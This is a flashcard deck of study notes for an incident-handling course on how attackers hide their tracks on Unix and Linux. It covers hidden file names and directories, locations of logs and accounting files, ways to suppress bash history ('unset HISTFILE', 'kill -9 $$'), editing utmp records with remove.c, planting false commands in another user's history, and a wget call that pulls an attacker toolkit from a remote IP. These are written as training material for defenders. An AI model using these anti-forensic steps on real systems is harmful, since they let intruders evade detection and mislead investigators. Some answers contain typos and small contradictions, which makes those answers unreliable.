Brainscape's Knowledge GenomeTM

Browse over 1 million classes created by top students, professors, publishers, and experts.


See full index

SEC504-Book 5 > Book 5: Covering Tracks on Unix and Linux > Flashcards

Book 5: Covering Tracks on Unix and Linux Flashcards

1
Q

following an inital compromise, attackers will take steps to hide thier presence on systems to avoid detection?

A

true

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

What steps will attackers take to avoid detection?

A
  • remove artifacts following an exploit
  • changing logs to remove evidence
  • creating subtle hiding spaces to keep files as they collect data and pillage
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What are the 3 goals of attacker

A
  1. compromise the target
  2. achieve post exploitation goal
  3. evade detection for as long as possible
How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

What is the easist way to hide files on UNIX

A

name it “.” or “..”

or “…” or “ “

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

Easist way to hide a file in UNIX is to name the file with a dot?

A

yes.
wouldnt be neccessary if attacker had a rootkit or kernal mode rootkit technique/ root access but in this case he does not.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Every directory has at least two other directories

A

.. refers to the parent directory

. refers to the current directory

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

what are the 3 popular locations to hide files in UNIX?

A

/dev
/tmp
/etc

or
/usr/local/man
/usr/src

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

/dev

A

directory contains information about devices on the system, such as chunks of your hard drive and references to terminals. A good place to hide files.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

/tmp

A

often contains strangely named files created by various apps to temporarily store data

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

the /tmp file is emptied on reboot?

A

true.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

files stored in /tmp would need to be restored?

A

yes, it is a location emptied on reboot

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

/etc

A

bad place to hide files. holds machine configuration and is carefully monitored by sys admins.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
13
Q

What are the two increasingly popular locations to store/hide data?

A

/usr/local/man
and
/usr/src

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
14
Q

Main log files can be found by viewing the ___?

A

/etc/syslog.conf

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
15
Q

How can attackers find where logs are located on a UNIX system?

A

check /etc/syslog.conf by just checking this location or running a script that guessses where the logs are

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
16
Q

the __ process stores the logs for the machine?

A

syslog

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
17
Q

the configuration for the system logger is found in the ____ file.

A

/etc/syslog.conf file

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
18
Q

if using a log clearing script to guess the location of the logs it can malfunction due to __

A

running the script on an improper version of linux. or not stored in their default location

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
19
Q

Once find out where the logs are located from checking __ file, you know that they are mainly stored in which directory?

A

/etc/syslong.conf

/var/log

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
20
Q

several flavors of linux store their system logs in the ___ directory

A

/var/log

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
21
Q

web server (http) store their logs wihtin their own directories?

A

true

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
22
Q

almost all logs within /var/log are stored in ASCII?

A

yes. so they can be edited with vi or nano. an attacker will and can delete these entries

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
23
Q

What logs are of particular interest to attacker?

A

/var/log/secure

/var/log/messages

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
24
Q

logs written in /var/log are in ASCII?

A

yes

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
25
Q

What logs of particular service are exploited to gain access?

A

/var/log/httpd/error.log

/var/log/httpd/access.log

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
26
Q

Logs written in /var/log are usually edited by?

A

hand, because they are ASCII and can be edited via script.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
27
Q

The __ where you type a command has the option of recording each command

A

shell

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
28
Q

by default the __ __ included in linux stores the most recent x commands typed in.

A

bash shell

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
29
Q

by default bash shell keeps track of the last __ commands, although __ on some linux distros

A

500

1,000

30
Q

The bash history is written in ASCII and can be edited by hand?

A

true.

31
Q

both bash history and /var/logs are written in ascii and can be edited by hand?

A

true

32
Q

what can an attacker do to the bash history to make it look like someone else did something?

A

since file is ascii can plant fake commands into another users bash history file to divrt attention during an investigation

33
Q

How can an attacker divert investigation?

A

plant false commands in another users history file

34
Q

What are the problems with shell history?

A

You wont see your most recent command because the shell history is written when the shell is exited. They are stored in RAM until the shell is exited.

35
Q

Shell history is written when the shell is ___?

A

exited

36
Q

You wont see your most recent commands in the shell history because?

A

shell is written when the shell is exited

37
Q

Most recent commands that would be in the shell history are stored in __ until the __ is exited

A

RAM

Shell

38
Q

if an attacker tried to invoke the shell and typed vi .bash_history this command would show up in the shell history file?

A

yes

39
Q

What is a unsuccesful way to try and conceal entries in the bash history?

A

edit the shell file
exit the shell
start another shell
edit the history file again to remove it

BUT “chicken and egg” problem, the command will be added again

40
Q

What are the two widely known solutions to removing entries from bash history

A
  1. Killing the shell so that it cannot write the most recent shell history, including the commands used to edit it
  2. changing the environment variable HISTFiLE
41
Q

how would I kill the bash shell?

A

kill -9 [pid]

42
Q

how do I kill all bash shells?

A

killall -9 bash

43
Q

the second process to removing entries from bash history is __ and the command is___ $ unset __ then __ __ __

A

changing the environment variable HISTFILE

$unset HISTFILE then KILL -9 $$

44
Q

What is the 3rd option to removing entries from bash history?

A

adding a space before the command in bash to not log specific commands.

45
Q

What are the accounting entries in UNIX?

A

utmp
wtmp
btmp
lastlog

46
Q

file contains info about currently logged in users?

A

utmp

47
Q

default location of utmp?

A

/var/run/utmp

48
Q

file contains data about past user logins?

A

wtmp

49
Q

file contains bad login entries for failed login attempts?

A

btmp

50
Q

default location of wtmp?

A

/var/log

51
Q

default location of btmp?

A

/var/log/btmp

52
Q

file shows login name, port, and last login time for each user?

A

lastlog

53
Q

default location of lastlog?

A

/var/log/lastlog

54
Q

What are the default locations of accounting entries in UNIX?

A

/var/run/utmp
/var/log/wtmp
/var/log/btmp
/var/log/lastlog

55
Q

what is the only accounting log not stored within var/log

A

utmp

/var/log/utmp

56
Q

What command will print a list of all users currently actively logged in on the system?

A

$who

57
Q

the btmp file is usually configirued to be turned off because sys admins dont want to leave the file sitting around with bad ID attempts because it could contain passwords?

A

true

58
Q

the accouting entry files are stored in ASCII?

A

FALSE

59
Q

How are the accounting entries stored in UNIX?

A

utmp structures

60
Q

Accounting entries are stored as __ structures

A

utmp

61
Q

both bash history and /var/logs are written in ascii and can be edited by hand BUT the acccounting entries (utmp,wtmp,btmp) are not and are stored as ___?

A

utmp structures

62
Q

to edit the accounting files you have to use specialized tools or else __?

A

the files will become corrupted

63
Q

the accounting entries will become corrupted if you try and edit them without proper tool?

A

yes

64
Q

What specialized tool can edit the accounting files?

A

remove.c

65
Q

___.c can edit the utmp,wtmp,btmp and lastlog because they are stored as a specialized format called ___ ___

A

remove.c

utmp structures

66
Q

$whoami

A
  • checking to see which account they have gained control of on the machine- could be checking for root privilege’s
67
Q

$id

A

get more details about the ID number and groups associated with the current account

68
Q

$uname -a

A

detailed kernel version the system is running.

useful to further exploit system or getting an idea of types of linux machines target organization is using.

69
Q

$nc

A

checking to see if netcat is installed on the path for the account

70
Q

$wget 10.10.10.10/kitz.tgz

A

wget tool can download wevpages to pull a file from a machine.

71
Q

$mv nc init

A

moving a file called nc to a file called init therefore blending in

SEC504-Book 5 (8 decks)

Brainscape helps you reach your goals faster, through stronger study habits.
© 2024 Bold Learning Solutions. Terms and Conditions